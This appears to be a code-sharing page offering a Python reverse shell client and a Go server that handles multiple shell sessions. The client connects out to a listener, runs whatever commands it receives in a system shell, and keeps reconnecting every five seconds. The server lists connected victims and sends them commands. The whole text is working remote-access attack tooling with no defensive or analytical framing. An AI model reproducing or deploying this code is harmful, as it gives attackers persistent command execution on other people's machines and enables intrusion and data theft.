Python reverse shell that reconnects to server (ncat/socat/connection manager/etc)
A neat little server written in Go. It can handle multiple sessions from the client.py script or any other valid reverse shell (not tested).
Python reverse shell that reconnects to server (ncat/socat/connection manager/etc)
A neat little server written in Go. It can handle multiple sessions from the client.py script or any other valid reverse shell (not tested).
import socket | |
import subprocess | |
import time | |
import threading | |
def shell(s): | |
while True: | |
data = s.recv(1024) | |
if data.decode("utf-8").strip() == 'exit': # If received command is 'exit', break the loop and close connection | |
break | |
if data: # if command is received | |
cmd = subprocess.Popen(data.decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) | |
output = cmd.stdout.read() + cmd.stderr.read() | |
s.send(output) | |
server = 'localhost' | |
port = 8080 | |
while True: | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
try: | |
s.connect((server, port)) | |
shell_thread = threading.Thread(target=shell, args=(s,)) | |
shell_thread.start() | |
shell_thread.join() | |
s.close() | |
time.sleep(5) # If connection was closed, wait for 5 seconds before trying to reconnect | |
except socket.error as e: | |
print(f"Connection failed: {str(e)}") | |
time.sleep(5) # If connection attempt failed, wait for 5 seconds before trying to reconnect |
package main | |
import ( | |
"bufio" | |
"crypto/rand" | |
"fmt" | |
"math/big" | |
"net" | |
"os" | |
"strings" | |
"sync" | |
) | |
// client struct to keep track of each client's shell session | |
type client struct { | |
conn net.Conn | |
ip string | |
port string | |
id string | |
} | |
var clients []*client | |
var activeClient *client | |
var mutex = &sync.Mutex{} | |
func handleConnection(c *client) { | |
reader := bufio.NewReader(c.conn) | |
for { | |
message, err := reader.ReadString('\n') | |
if err != nil { | |
fmt.Printf("Error reading from client %s: %v\n", c.id, err) | |
break | |
} | |
message = strings.TrimSpace(message) | |
if message == "exit" { | |
break | |
} | |
// If this is the active client, print the message | |
mutex.Lock() | |
if activeClient == c { | |
fmt.Printf("%s: %s\n", c.id, message) | |
} | |
mutex.Unlock() | |
} | |
fmt.Printf("Client %s disconnected\n", c.id) | |
c.conn.Close() | |
// Remove the client from the clients slice | |
for i := range clients { | |
if clients[i] == c { | |
clients = append(clients[:i], clients[i+1:]...) | |
break | |
} | |
} | |
} | |
// randomID generates a random 8 character ID for clients | |
func randomID() string { | |
const idChars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" | |
id := make([]byte, 8) | |
for i := range id { | |
randomByte, _ := rand.Int(rand.Reader, big.NewInt(int64(len(idChars)))) | |
id[i] = idChars[randomByte.Int64()] | |
} | |
return string(id) | |
} | |
func main() { | |
l, err := net.Listen("tcp", "0.0.0.0:8080") | |
if err != nil { | |
fmt.Println("Error listening:", err.Error()) | |
return | |
} | |
defer l.Close() | |
fmt.Println("Server started...") | |
go func() { | |
for { | |
conn, err := l.Accept() | |
if err != nil { | |
fmt.Println("Error accepting: ", err.Error()) | |
continue | |
} | |
// Split the RemoteAddr into IP and port | |
ip, port, _ := net.SplitHostPort(conn.RemoteAddr().String()) | |
c := &client{ | |
conn: conn, | |
ip: ip, | |
port: port, | |
id: randomID(), | |
} | |
clients = append(clients, c) | |
fmt.Printf("Client %s connected\n", c.id) | |
go handleConnection(c) | |
} | |
}() | |
// CLI | |
reader := bufio.NewReader(os.Stdin) | |
for { | |
fmt.Println("\nEnter 'show' to list clients, a client id to switch to that client, or a command to send to the active client:") | |
input, _ := reader.ReadString('\n') | |
input = strings.TrimSpace(input) | |
if input == "show" { | |
for _, c := range clients { | |
fmt.Printf("Client ID: %s, IP: %s, Port: %s\n", c.id, c.ip, c.port) | |
} | |
} else { | |
// Check if the input matches a client id | |
var matchingClient *client | |
for _, c := range clients { | |
if c.id == input { | |
matchingClient = c | |
break | |
} | |
} | |
if matchingClient != nil { | |
// Switch to the specified client | |
mutex.Lock() | |
activeClient = matchingClient | |
mutex.Unlock() | |
fmt.Printf("Switched to client %s\n", activeClient.id) | |
} else { | |
// Send the input as a command to the active client | |
if activeClient != nil { | |
_, err := activeClient.conn.Write([]byte(input + "\n")) | |
if err != nil { | |
fmt.Printf("Error sending command to client %s: %v\n", activeClient.id, err) | |
} | |
} else { | |
fmt.Println("No active client. Please switch to a client first.") | |
} | |
} | |
} | |
} | |
} |